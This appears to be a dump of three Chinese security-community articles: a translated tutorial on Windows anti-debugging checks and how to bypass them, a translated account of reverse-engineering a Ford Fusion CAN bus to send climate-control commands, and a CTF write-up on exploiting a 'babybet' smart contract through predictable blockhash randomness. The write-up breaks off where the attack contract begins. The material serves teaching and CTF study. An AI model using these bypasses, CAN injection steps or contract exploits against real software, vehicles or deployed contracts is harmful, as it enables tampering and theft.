text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
原文：https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software
# 前言
在软件方面，逆向工程是研究程序以获得有关其工作原理和使用的算法的封闭信息的过程。虽然逆向工程可以用于[合法目的](https://www.apriorit.com/competences/reverse-engineering "合法目的")，特别是恶意软件分析或无证系统研究，但提起它，第一反应还是黑客用来进行非法活动的常用手段。
# 反调试方法简介
这里有几种分析软件的方法：
1.使用数据包嗅探器分析通过网络交换的数据。
2.软件二进制代码反汇编
3.二进制或字节码的反编译，以高级编程语言重新创建源代码。
本文考虑了当下流行的防破解和反逆向工程保护技术，即Windows中的反调试方法。要完全保护软件免受逆向工程的影响是不可能的。各种反逆向工程技术的主要目标就是尽可能地使过程复杂化。
要想防御，得先知道攻击来自哪里。本文介绍了流行的反调试技术，循序渐进，并且详细阐明如何绕过它们。我们不会考虑不同的软件保护理论，只考虑实际例子。
# IsDebuggerPresent
也许最简单的反调试方法是调用`IsDebuggerPresent`函数。此函数检测用户模式调试器是否正在调试调用进程。最简单的一个例子：
int main()
{
if (IsDebuggerPresent())
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
return 0;
}
如果我们查看IsDebuggerPresent函数内部，会发现以下代码：
0:000< u kernelbase!IsDebuggerPresent L3
KERNELBASE!IsDebuggerPresent:
751ca8d0 64a130000000 mov eax,dword ptr fs:[00000030h]
751ca8d6 0fb64002 movzx eax,byte ptr [eax+2]
751ca8da c3 ret
对于64位进程
0:000< u kernelbase!IsDebuggerPresent L3
KERNELBASE!IsDebuggerPresent:
00007ffc`ab6c1aa0 65488b042560000000 mov rax,qword ptr gs:[60h]
00007ffc`ab6c1aa9 0fb64002 movzx eax,byte ptr [rax+2]
00007ffc`ab6c1aad c3 ret
我们通过相对于fs段的30h偏移量(x64系统相对于gs段的60h偏移量)来查看PEB(进程环境块)结构。如果我们查看PEB中的2个偏移量，就会发现BeingDebugged字段：
0:000< dt _PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
换句话说，IsDebuggerPresent函数读取BeingDebugged字段的值。如果正在调试进程，则值为1，否则为0。
# PEB (进程环境块)
PEB是Windows操作系统中使用的一个封闭结构。根据环境的不同，您需要以不同的方式获得PEB结构指针。
下面是如何为x32和x64系统获取PEB指针的例子:
// Current PEB for 64bit and 32bit processes accordingly
PVOID GetPEB()
{
#ifdef _WIN64
return (PVOID)__readgsqword(0x0C * sizeof(PVOID));
#else
return (PVOID)__readfsdword(0x0C * sizeof(PVOID));
#endif
}
WOW64机制用于在x64系统上启动x32进程，并创建另一个PEB结构。以下是如何在WOW64环境中获取PEB结构指针的示例：
// Get PEB for WOW64 Process
PVOID GetPEB64()
{
PVOID pPeb = 0;
#ifndef _WIN64
// 1. There are two copies of PEB - PEB64 and PEB32 in WOW64 process
// 2. PEB64 follows after PEB32
// 3. This is true for versions lower than Windows 8, else __readfsdword returns address of real PEB64
if (IsWin8OrHigher())
{
BOOL isWow64 = FALSE;
typedef BOOL(WINAPI *pfnIsWow64Process)(HANDLE hProcess, PBOOL isWow64);
pfnIsWow64Process fnIsWow64Process = (pfnIsWow64Process)
GetProcAddress(GetModuleHandleA("Kernel32.dll"), "IsWow64Process");
if (fnIsWow64Process(GetCurrentProcess(), &isWow64))
{
if (isWow64)
{
pPeb = (PVOID)__readfsdword(0x0C * sizeof(PVOID));
pPeb = (PVOID)((PBYTE)pPeb + 0x1000);
}
}
}
#endif
return pPeb;
}
用于检查操作系统版本的函数的代码如下：
WORD GetVersionWord()
{
OSVERSIONINFO verInfo = { sizeof(OSVERSIONINFO) };
GetVersionEx(&verInfo);
return MAKEWORD(verInfo.dwMinorVersion, verInfo.dwMajorVersion);
}
BOOL IsWin8OrHigher() { return GetVersionWord() >= _WIN32_WINNT_WIN8; }
BOOL IsVistaOrHigher() { return GetVersionWord() >= _WIN32_WINNT_VISTA; }
# 如何绕过IsDebuggerPresent检查
若要绕过IsDebuggerPresent检查，请在执行检查代码之前将BeingDebugged设置为0。DLL注入可以用来做到这一点:
mov eax, dword ptr fs:[0x30]
mov byte ptr ds:[eax+2], 0
对于x64进程:
DWORD64 dwpeb = __readgsqword(0x60);
*((PBYTE)(dwpeb + 2)) = 0;
# TLS回调
检查主函数中是否存在调试器并不是最好的主意，因为在查看反汇编程序列表时，逆向人员首先会查看这个位置。
在主函数中实现的检查可以通过NOP指令删除，从而解除保护。如果使用CRT库，主线程在将控制转移到主函数之前将已经有一个特定的调用堆栈。因此，执行调试器状态检查的好地方是在TLS回调中。回调函数将在可执行模块入口点调用之前调用。
#pragma section(".CRT$XLY", long, read)
__declspec(thread) int var = 0xDEADBEEF;
VOID NTAnopPI TlsCallback(PVOID DllHandle, DWORD Reason, VOID Reserved)
{
var = 0xB15BADB0; // Required for TLS Callback call
if (IsDebuggerPresent())
{
MessageBoxA(NULL, "Stop debugging program!", "Error", MB_OK | MB_ICONERROR);
TerminateProcess(GetCurrentProcess(), 0xBABEFACE);
}
}
__declspec(allocate(".CRT$XLY"))PIMAGE_TLS_CALLBACK g_tlsCallback = TlsCallback;
# NtGlobalFlag
在WindowsNT中，有一组标志存储在全局变量NtGlobalFlag中，这在整个系统中是常见的。启动时，将使用系统注册表项中的值初始化NtGlobalFlag全局系统变量：
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\GlobalFlag]
此变量值用于系统跟踪、调试和控制。变量标志未被文档化，但是SDK包含gflags实用程序，它允许您编辑全局标志值。PEB结构还包括NtGlobalFlag字段，它的位结构不对应于NtGlobalFlag全局系统变量。调试过程中，在NtGlobalFlag字段中设置这些标志:
FLG_HEAP_ENABLE_TAIL_CHECK (0x10)
FLG_HEAP_ENABLE_FREE_CHECK (0x20)
FLG_HEAP_VALIDATE_PARAMETERS (0x40)
若要检查是否已使用调试器启动进程，请检查PEB结构中NtGlobalFlag字段的值。在x32和x64系统中,该字段位于PEB结构的开始处的0x068和0x0bc偏移处。
0:000> dt _PEB NtGlobalFlag @$peb
ntdll!_PEB
+0x068 NtGlobalFlag : 0x70
对于64位进程：
0:000> dt _PEB NtGlobalFlag @$peb
ntdll!_PEB
+0x0bc NtGlobalFlag : 0x70
以下代码片段是基于NtGlobalFlag标志检查的反调试保护示例：
#define FLG_HEAP_ENABLE_TAIL_CHECK 0x10
#define FLG_HEAP_ENABLE_FREE_CHECK 0x20
#define FLG_HEAP_VALIDATE_PARAMETERS 0x40
#define NT_GLOBAL_FLAG_DEBUGGED (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS)
void CheckNtGlobalFlag()
{
PVOID pPeb = GetPEB();
PVOID pPeb64 = GetPEB64();
DWORD offsetNtGlobalFlag = 0;
#ifdef _WIN64
offsetNtGlobalFlag = 0xBC;
#else
offsetNtGlobalFlag = 0x68;
#endif
DWORD NtGlobalFlag = *(PDWORD)((PBYTE)pPeb + offsetNtGlobalFlag);
if (NtGlobalFlag & NT_GLOBAL_FLAG_DEBUGGED)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
if (pPeb64)
{
DWORD NtGlobalFlagWow64 = *(PDWORD)((PBYTE)pPeb64 + 0xBC);
if (NtGlobalFlagWow64 & NT_GLOBAL_FLAG_DEBUGGED)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
}
}
# 如何绕过NtGlobalFlag检查
若要绕过NtGlobalFlag检查，只需执行逆向检查之前执行的操作；换句话说，在通过反调试保护检查此值之前，将已调试进程的PEB结构的NtGlobalFlag字段设置为0。
# NtGlobalFlag和IMAGE_LOAD_CONFIG_DIRECTORY
可执行文件包含IMAGE_LOAD_DB2IGDIRECTY结构，该结构包含系统加载程序的其他配置参数。默认情况下，此结构不会内置到可执行文件中，但可以使用修补程序将其添加到可执行文件中。此结构具有GlobalFlagsClear字段，该字段指示应重置PEB结构的NtGlobalFlag字段的哪些标志。如果最初创建可执行文件时没有上述结构或GlobalFlagsClear=0，而在磁盘或内存中，则该字段将有一个非零值，表示存在隐藏的调试器正在工作。下面就是检查运行进程的内存和磁盘上的GlobalFlagsClear字段的代码，这是一种非常流行的反调试技术：
PIMAGE_NT_HEADERS GetImageNtHeaders(PBYTE pImageBase)
{
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pImageBase;
return (PIMAGE_NT_HEADERS)(pImageBase + pImageDosHeader->e_lfanew);
}
PIMAGE_SECTION_HEADER FindRDataSection(PBYTE pImageBase)
{
static const std::string rdata = ".rdata";
PIMAGE_NT_HEADERS pImageNtHeaders = GetImageNtHeaders(pImageBase);
PIMAGE_SECTION_HEADER pImageSectionHeader = IMAGE_FIRST_SECTION(pImageNtHeaders);
int n = 0;
for (; n < pImageNtHeaders->FileHeader.NumberOfSections; ++n)
{
if (rdata == (char*)pImageSectionHeader[n].Name)
{
break;
}
}
return &pImageSectionHeader[n];
}
void CheckGlobalFlagsClearInProcess()
{
PBYTE pImageBase = (PBYTE)GetModuleHandle(NULL);
PIMAGE_NT_HEADERS pImageNtHeaders = GetImageNtHeaders(pImageBase);
PIMAGE_LOAD_CONFIG_DIRECTORY pImageLoadConfigDirectory = (PIMAGE_LOAD_CONFIG_DIRECTORY)(pImageBase
+ pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress);
if (pImageLoadConfigDirectory->GlobalFlagsClear != 0)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
}
void CheckGlobalFlagsClearInFile()
{
HANDLE hExecutable = INVALID_HANDLE_VALUE;
HANDLE hExecutableMapping = NULL;
PBYTE pMappedImageBase = NULL;
__try
{
PBYTE pImageBase = (PBYTE)GetModuleHandle(NULL);
PIMAGE_SECTION_HEADER pImageSectionHeader = FindRDataSection(pImageBase);
TCHAR pszExecutablePath[MAX_PATH];
DWORD dwPathLength = GetModuleFileName(NULL, pszExecutablePath, MAX_PATH);
if (0 == dwPathLength) __leave;
hExecutable = CreateFile(pszExecutablePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (INVALID_HANDLE_VALUE == hExecutable) __leave;
hExecutableMapping = CreateFileMapping(hExecutable, NULL, PAGE_READONLY, 0, 0, NULL);
if (NULL == hExecutableMapping) __leave;
pMappedImageBase = (PBYTE)MapViewOfFile(hExecutableMapping, FILE_MAP_READ, 0, 0,
pImageSectionHeader->PointerToRawData + pImageSectionHeader->SizeOfRawData);
if (NULL == pMappedImageBase) __leave;
PIMAGE_NT_HEADERS pImageNtHeaders = GetImageNtHeaders(pMappedImageBase);
PIMAGE_LOAD_CONFIG_DIRECTORY pImageLoadConfigDirectory = (PIMAGE_LOAD_CONFIG_DIRECTORY)(pMappedImageBase
+ (pImageSectionHeader->PointerToRawData
+ (pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress - pImageSectionHeader->VirtualAddress)));
if (pImageLoadConfigDirectory->GlobalFlagsClear != 0)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
}
__finally
{
if (NULL != pMappedImageBase)
UnmapViewOfFile(pMappedImageBase);
if (NULL != hExecutableMapping)
CloseHandle(hExecutableMapping);
if (INVALID_HANDLE_VALUE != hExecutable)
CloseHandle(hExecutable);
}
}
在此代码示例中，CheckGlobalFlagsClearInProcess函数根据当前运行的进程的加载地址查找PIMAGE_LOAD_DB2IGDIRECTORY结构，并检查GlobalFlagsClear字段的值。如果此值不是0，则该进程可能正在被调试。
CheckGlobalFlagsClearInFile函数对磁盘上的可执行文件执行相同的检查。
# Heap Flags and ForceFlags
PEB结构包含指向进程堆(_heap结构)的指针：
0:000> dt _PEB ProcessHeap @$peb
ntdll!_PEB
+0x018 ProcessHeap : 0x00440000 Void
0:000> dt _HEAP Flags ForceFlags 00440000
ntdll!_HEAP
+0x040 Flags : 0x40000062
+0x044 ForceFlags : 0x40000060
对于64位进程
0:000> dt _PEB ProcessHeap @$peb
ntdll!_PEB
+0x030 ProcessHeap : 0x0000009d`94b60000 Void
0:000> dt _HEAP Flags ForceFlags 0000009d`94b60000
ntdll!_HEAP
+0x070 Flags : 0x40000062
+0x074 ForceFlags : 0x40000060
如果正在调试进程，则两个字段Flags和ForceFlags都具有特定的调试值：
1.如果Flags字段没有设置HEAP_GROWABLE（0x00000002）标识，则正在调试进程。
2.如果ForceFlags！= 0，则正在调试进程。
不过要注意的是，`_HEAP`结构并未记录，并且`Flags`和`ForceFlags`字段的偏移值可能因操作系统版本而异。以下代码就是基于HeapFlag检查的反调试保护：
int GetHeapFlagsOffset(bool x64)
{
return x64 ?
IsVistaOrHigher() ? 0x70 : 0x14: //x64 offsets
IsVistaOrHigher() ? 0x40 : 0x0C; //x86 offsets
}
int GetHeapForceFlagsOffset(bool x64)
{
return x64 ?
IsVistaOrHigher() ? 0x74 : 0x18: //x64 offsets
IsVistaOrHigher() ? 0x44 : 0x10; //x86 offsets
}
void CheckHeap()
{
PVOID pPeb = GetPEB();
PVOID pPeb64 = GetPEB64();
PVOID heap = 0;
DWORD offsetProcessHeap = 0;
PDWORD heapFlagsPtr = 0, heapForceFlagsPtr = 0;
BOOL x64 = FALSE;
#ifdef _WIN64
x64 = TRUE;
offsetProcessHeap = 0x30;
#else
offsetProcessHeap = 0x18;
#endif
heap = (PVOID)*(PDWORD_PTR)((PBYTE)pPeb + offsetProcessHeap);
heapFlagsPtr = (PDWORD)((PBYTE)heap + GetHeapFlagsOffset(x64));
heapForceFlagsPtr = (PDWORD)((PBYTE)heap + GetHeapForceFlagsOffset(x64));
if (*heapFlagsPtr & ~HEAP_GROWABLE || *heapForceFlagsPtr != 0)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
if (pPeb64)
{
heap = (PVOID)*(PDWORD_PTR)((PBYTE)pPeb64 + 0x30);
heapFlagsPtr = (PDWORD)((PBYTE)heap + GetHeapFlagsOffset(true));
heapForceFlagsPtr = (PDWORD)((PBYTE)heap + GetHeapForceFlagsOffset(true));
if (*heapFlagsPtr & ~HEAP_GROWABLE || *heapForceFlagsPtr != 0)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
}
}
# 如何绕过Heap Flags和ForceFlags检查
为了避开基于HeapFlag检查的反调试保护，应该为Flags字段设置HEAP_GROWABLE标识，然后将ForceFlags的值设置为0。值得一提的是，字段值的重新定义应该在HeapFlag检查之前执行。
未完待续
``` | 社区文章 |
# 【汽车安全】CAN总线介绍：看我如何以编程方式控制汽车
|
##### 译文声明
本文是翻译文章，文章来源：voyage.auto
原文地址：<https://news.voyage.auto/an-introduction-to-the-can-bus-how-to-programmatically-control-a-car-f1b18be4f377>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
近期，我跟一位在[Voyage公司](https://voyage.auto/)上班的朋友在尝试对一辆福特Fusion汽车的空调系统实现编程控制。
下图为研究人员尝试通过App来控制汽车的关键功能：
Voyage是汽车自动驾驶领域内的一家专业公司，他们想要实现的终极目标是：对于世界上的任何一个人，他都可以随时随地召唤一辆汽车直接开到他的家门口，并将他安全地送达到目的地，而且价格也非常便宜。对于Voyage来说，他们将不可避免地给乘客提供汽车关键功能的控制权，因为总有一天开车的将不再是我们人类，而这一天马上就要到来了。
**CAN总线介绍**
一台现代化汽车拥有大量的控制系统，这些控制系统的作用与Web应用中各种微服务的作用是非常相似的。对于一台电动汽车来说，它拥有安全气囊、自动刹车系统、电动助力转向系统、音响系统、电动车门、后视镜调整系统、以及电池与充电系统等等。这些系统需要相互通信并获取其他系统的运行状态。1983年，[博世公司](http://bosch.com/)（德国一家从事汽车与智能交通技术的公司）的一个团队开始尝试通过研究CAN（Controller
Area Network-控制器区域网络）总线来解决这一复杂的问题。
你可以把CAN总线当作一个简单的网络，汽车中的任何一个系统都可以通过这个网络来监听或发送命令，它可以将汽车中那些复杂的组件以一种“优雅”的方式组合起来，并给我们的汽车提供各种各样的现代化功能。
下图为一辆1988年款的宝马8系，这也是全球第一台采用了CAN总线的汽车：
**自动驾驶汽车与CAN总线**
近些年来，随着自动驾驶汽车的快速发展，CAN总线的概念也得到了普及。为什么呢？因为自动驾驶汽车领域内的绝大多数公司都不会从零开始设计和制造自家的汽车，而且他们还需要想办法通过编程的方式来控制汽车。
通过对汽车CAN总线进行逆向工程分析，工程师将可以通过软件来向汽车发送控制命令。比如说，最常用的控制命令有旋转方向盘、加速（踩油门）和制动（踩刹车）。
通过使用类似LIDAR（激光雷达）这样的传感器，汽车将能够“看到”或“感受到”它所处的外部环境。汽车内的电脑可以根据传感器传回的数据来决定向汽车发送怎样的控制命令，比如说将方向盘旋转多少度、加速到多少迈、或者是否应该立即踩刹车等等。
下图为LIDAR技术的动态演示图：
实际上，并不是每一台汽车都可以成为自动驾驶汽车，如果你想知道Voyage为什么选择福特Fusion的话，你可以参考这篇文章【[传送门](http://blog.caranddriver.com/why-ford-lincoln-and-lexus-testers-rule-the-self-driving-roost/)】。
**攻击福特Fusion的CAN总线**
为了弄清楚如何攻击福特Fusion的气温控制系统，我翻开了一本我最喜欢的书（[The Car Hacker’s
Handbook](http://opengarages.org/handbook/)）【[免费下载](http://opengarages.org/handbook/)】，然后开始研究。在真正开始之前，先让我们来看一看本书的[第二章](http://opengarages.org/handbook/ebook/#calibre_link-260)，这部分描述了三个非常重要的概念：总线协议、CAN总线和CAN框架。
**CAN总线**
自从1994年开始，CAN已经成为了美国汽车和轻型卡车中的一种标准了，但是直到2008年它才成为一种强制标准。它主要使用了两条线：CAN
high（CANH）和CAN
low（CANL）。CAN使用的是差分信号，这意味着当信号传输进来时，CAN会提升一条线路的电压，并等量降低另一条线路的电压。一般来说，只有对噪声容错较高的环境才会使用差分信号，例如汽车系统或工业制造领域。
下图显示的是示波器中观察到的原始CAN信号：
这也就意味着，通过CAN总线传输的数据包并非标准化的数据包，每一个CAN总线数据包都包含下面这四个关键元素：
1.仲裁ID（Arbitration
ID）：仲裁ID是一种广播消息，代表的是需要进行数据通信的设备ID，不过一台设备可以发送多个仲裁ID。如果两个CAN数据包同时在总线上进行发送，那么仲裁ID较小的那个数据包将优先传输；
2.标识符扩展（IDE）：对于标准CAN来说，这部分数据永远为o；
3.数据长度码（DLC）：它代表数据的长度，范围从0到8字节不等；
4.数据（Data）：需要传输的数据，标准CAN总线数据包可携带的数据大小最多为8字节，但某些系统会将数据包强制填充至8个字节；
**标准CAN数据包的格式**
**CAN框架**
为了能够控制汽车空调系统的开启和关闭，我们首先需要找到正确的CAN总线（因为一辆汽车有很多CAN总线）。福特Fusion至少有四条总线（厂商记录），其中有三条为高速CAN（500
kbps），还有一条为中速CAN（125 kbps）。
OBD-II端口暴露了其中的两条总线：HS1和HS2，但这台汽车上这两条总线有防火墙的保护，因此不允许我们向其发送欺骗指令。在Alan（Voyage员工）的帮助下，我们解决了这个问题并成功拿到了HS1、HS2、HS3和MS的访问权。注：OBD-II端口后面有一个名叫Gateway Module的设备，所有的总线最终都要将数据传输到这个设备中，这就是我们的解决方案。
由于空调系统可以通过汽车多媒体接口（SYNC）来进行调整，因此我们直接将目标锁定在了MS总线身上。
但是我们怎样才能让我们的计算机去读写CAN数据包呢？答案就是[SocketCAN](https://en.wikipedia.org/wiki/SocketCAN)，它是一套开源CAN驱动，而且也是[Linux内核](https://en.wikipedia.org/wiki/Linux_kernel)中的一种网络栈。
现在，我们可以将汽车上的三条线路（GND、MSCANH和MSCANL）连接到Kvaser Leaf Light
HSv2（亚马逊商城售价为300美元）或CANable（Tindie硬件商城售价为25美元）上，然后通过一台拥有最新版Linux内核的计算机将这些总线当作一种网络设备来进行加载和读取。
modprobe can
modprobe kvaser_usb
ip link set can0 type can bitrate 1250000
ifconfig can0 up
加载完成之后，我们可以使用命令candump can0，然后开始查看CAN的数据流量：
但是，我们这样去监控总线的数据流量，就相当于用眼睛来观察声音信号的振幅一样，我们不仅很难弄清楚总线到底在传输什么数据，而且也很难发现其中的模式或规律。因此，我们需要像分析声音频率一样来分析这个问题，我们可以调用cansniffer.和cansniffer来查看相应的ID，然后主要分析CAN框架的数据区域中具体发生了哪些变化。我们通过研究后发现，我们可以利用特定的ID来过滤掉那些我们不需要的数据，然后只留下与我们问题相关的那些数据。
下面我们对MS总线调用cansniffer命令。我们只留下了CAN id
355、356和358的相关数据，并过滤掉了其他无效内容。与此同时，我按下了汽车中的温度调节按钮，我们可以看到数据下方出现了001C00000000，它代表的就是我们按下调节按钮的操作。
下一步就是将汽车的空调系统与我们运行于汽车内的PC进行连接，PC运行的是Robot操作系统（ROS）。幸运的是我们使用了SocketCAN，因为它有一个模块可以方便我们的操作，即socketcan_bridge可以将我们的CAN框架转换成一种ROS可接受的消息格式。
下面演示的是整个解码过程：
if frame.id == 0x356:
raw_data = unpack('BBBBBBBB', frame.data)
fan_speed = raw_data[1] / 4
driver_temp = parse_temperature(raw_data[2:4])
passenger_temp = parse_temperature(raw_data[4:6])
解码后的数据保存在CelsiusReport.msg之中：
bool auto
bool system_on
bool unit_on
bool dual
bool max_cool
bool max_defrost
bool recirculation
bool head_fan
bool feet_fan
bool front_defrost
bool rear_defrost
string driver_temp
string passenger_te
在按下了汽车内所有的相关按钮之后，我们得到了下面这个清单列表：
CONTROL_CODES = {
'ac_toggle': 0x5C,
'ac_unit_toggle': 0x14,
'max_ac_toggle': 0x38,
'recirculation_toggle': 0x3C,
'dual_temperature_toggle': 0x18,
'passenger_temp_up': 0x24,
'passenger_temp_down': 0x28,
'driver_temp_up': 0x1C,
'driver_temp_down': 0x20,
'auto': 0x34,
'wheel_heat_toggle': 0x78,
'defrost_max_toggle': 0x64,
'defrost_toggle': 0x4C,
'rear_defrost_toggle': 0x58,
'body_fan_toggle': 0x04,
'feet_fan_toggle': 0x0C,
'fan_up': 0x2C,
'fan_down': 0x30,
}
现在，我们就可以直接向ROS节点发送字符串数据，然后通过它来将我们发送的信息转换成汽车可以识别的特殊代码：
rostopic pub /celsius_control celsius/CelsiusControl ac_toggle
**分析结果**
我们现在可以向CAN总线发送相应的CAN控制代码了，这些代码与我们按下汽车物理实体按钮时所发出的总线控制命令是一样的。这也就意味着，我们可以远程改变汽车的车内温度了。我们成功了！
当然了，为了更好地提升用户在乘坐Voyage自动驾驶汽车时的体验度，仅仅做到这些还远远不够。因此我希望将来还能够与Voyage的工作人员继续合作，并设计出更多乘客喜欢的功能。 | 社区文章 |
### 一、前言
前文介绍了强网杯区块链第一道题目，本文将对第二道题目`Babybet`进行深入分析。在比赛过程中，该题目并没有许多人做出，相比于第一题来说本题目并没有增加很大的难度，只是利用方法不同。本题目与第一道题目利用过程都很复杂，第一题需要不断建立b1b1的账户，而本题目需要我们不断进行循环函数调用。
下面看我们详细的分析。
### 二、题目分析
同第一题一样，该问题给出合约地址以及部分合约文件。
`0x5d1beefd4de611caff204e1a318039324575599a@ropsten，请使用自己队伍的token获取flag，否则flag无效`
pragma solidity ^0.4.23;
contract babybet {
mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
...
该合约包括余额变量与`status`变量，且包括发送flag事件。在发送flag函数中，语句要求函数调用者的余额>=1000000。且当函数调用方不是owner时便会将余额赋值为0，并触发事件。
当然给出的合约中并没有更多有价值的地方，所以我们还是需要选择进行逆向操作。
<https://ropsten.etherscan.io/address/0x5d1beefd4de611caff204e1a318039324575599a>
逆向得到关键函数：
function status(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x01;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function profit() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x0a;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x01;
}
function bet(var arg0) {
var var0 = 0x00;
memory[var0:var0 + 0x20] = msg.sender;
memory[0x20:0x40] = var0;
var var1 = var0;
if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + ~0x09;
var0 = block.blockHash(block.number + ~0x00);
var1 = var0 % 0x03;
if (var1 != arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x03e8;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
return;
}
}
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x00;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function func_048F(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
var temp1 = arg1;
storage[temp0] = storage[temp0] - temp1;
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = temp1 + storage[temp2];
}
}
下面我们详细对这些函数进行分析：
首先是`profit()`函数。看到此函数我们就应该立刻想到为空投函数，该函数需要满足`status = 0`，且当调用此函数后，用户余额会增加10
，且status将变为1 。简单来说，这种函数只能够调用一次。
下面是`bet`函数，该函数为合约的关键点。
var var0 = 0x00;
memory[var0:var0 + 0x20] = msg.sender;
memory[0x20:0x40] = var0;
var var1 = var0;
if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }
该语句表示调用函数的账户的余额需要满足<=10，否则无法调用。
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
该语句表示用户的status需要满足<2。
当满足上述两个条件后，合约将计算一个随机数：
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + ~0x09;
var0 = block.blockHash(block.number + ~0x00);
var1 = var0 % 0x03;
该随机数用正常表示如下：
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
由于调用`bet`函数需要用户传入一个参数`arg0`。当`arg0`不等于随机数时，合约直接将status设置为2
。否则将执行关键过程，即让用户的余额+1000元。
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x03e8;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
并将status赋值为2 。此处的status为2后，则表示用户无法再次调用bet函数，所以这个函数只能被使用一次。
之后我们分析一个无法解析出名字的函数 ：`func_048F()`
function func_048F(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
var temp1 = arg1;
storage[temp0] = storage[temp0] - temp1;
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = temp1 + storage[temp2];
}
该函数传入两个参数并满足arg1需要大于余额，这也就是很明显的转账函数。之后账户余额减少并使收款方余额增加。
基本上该合约的关键函数到此就分析结束，那么我们如何进行攻击呢？如何才能获取到100w的代币？
我们发现合约中唯一能获得钱的函数为bet。且只有1000块。所以我们可以使用薅羊毛的做法进行转账。我们的合约中存在打赌函数与转账函数，所以我们的假设完全满足。
我们知道，区块链中如果不调用第三方库那么便不会存在真正的随机数，此合约的随机数便可以被预测。
即我们可以使用如下函数来达到与合约相同的随机数预测：
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
之后我们传入此随机数便可以获取到1000 。
于是我们一个羊应该包括如下步骤：
`target.profit();——>target.bet(guess1);——>transfer`。下章中我们详细进行分析。
### 三、攻击复现
攻击合约如下：
pragma solidity ^0.4.23;
contract babybet {
